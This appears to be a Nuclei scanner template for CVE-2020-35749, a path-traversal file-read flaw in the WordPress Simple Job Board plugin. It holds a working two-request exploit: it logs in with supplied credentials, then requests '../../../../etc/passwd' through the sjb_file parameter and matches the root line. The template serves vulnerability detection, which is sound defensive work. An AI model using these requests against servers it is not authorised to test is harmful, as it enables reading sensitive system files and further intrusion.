WordPress Simple Job Board <2.9.4 - Local File Inclusion

id: CVE-2020-35749

info:
  name: WordPress Simple Job Board <2.9.4 - Local File Inclusion
  author: cckuailong
  severity: high
  description: WordPress Simple Job Board prior to version 2.9.4 is vulnerable to arbitrary file retrieval vulnerabilities because it does not validate the sjb_file parameter when viewing a resume, allowing an authenticated user with the download_resume capability (such as HR users) to download arbitrary files from the web-server via local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.
  remediation: |
    Update to WordPress Simple Job Board version 2.9.4 or later to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/eed3bd69-2faf-4bc9-915c-c36211ef9e2d
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35749
    - https://docs.google.com/document/d/1TbePkrRGsczepBaJptIdVRvfRrjiC5hjGg_Vxdesw6E/edit?usp=sharing
    - http://packetstormsecurity.com/files/161050/Simple-JobBoard-Authenticated-File-Read.html
    - https://github.com/ezelnur6327/Enes4xd
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2020-35749
    cwe-id: CWE-22
    epss-score: 0.30479
    epss-percentile: 0.98049
    cpe: cpe:2.3:a:presstigers:simple_board_job:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: presstigers
    product: simple_board_job
    framework: wordpress
  tags: cve,cve2020,authenticated,packetstorm,wp,lfi,wordpress,wp-plugin,wpscan,presstigers,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/post.php?post=372&action=edit&sjb_file=../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008ec598b099596d2d72f05ddc8d6373fb7e347f3eec5e0368a85c014fb5b8c115022100e06109883dfa46ed27b3f1bb2eb64d265d144daad4baf198697504e271c98400:922c64590222798bb761d5b6d8e72950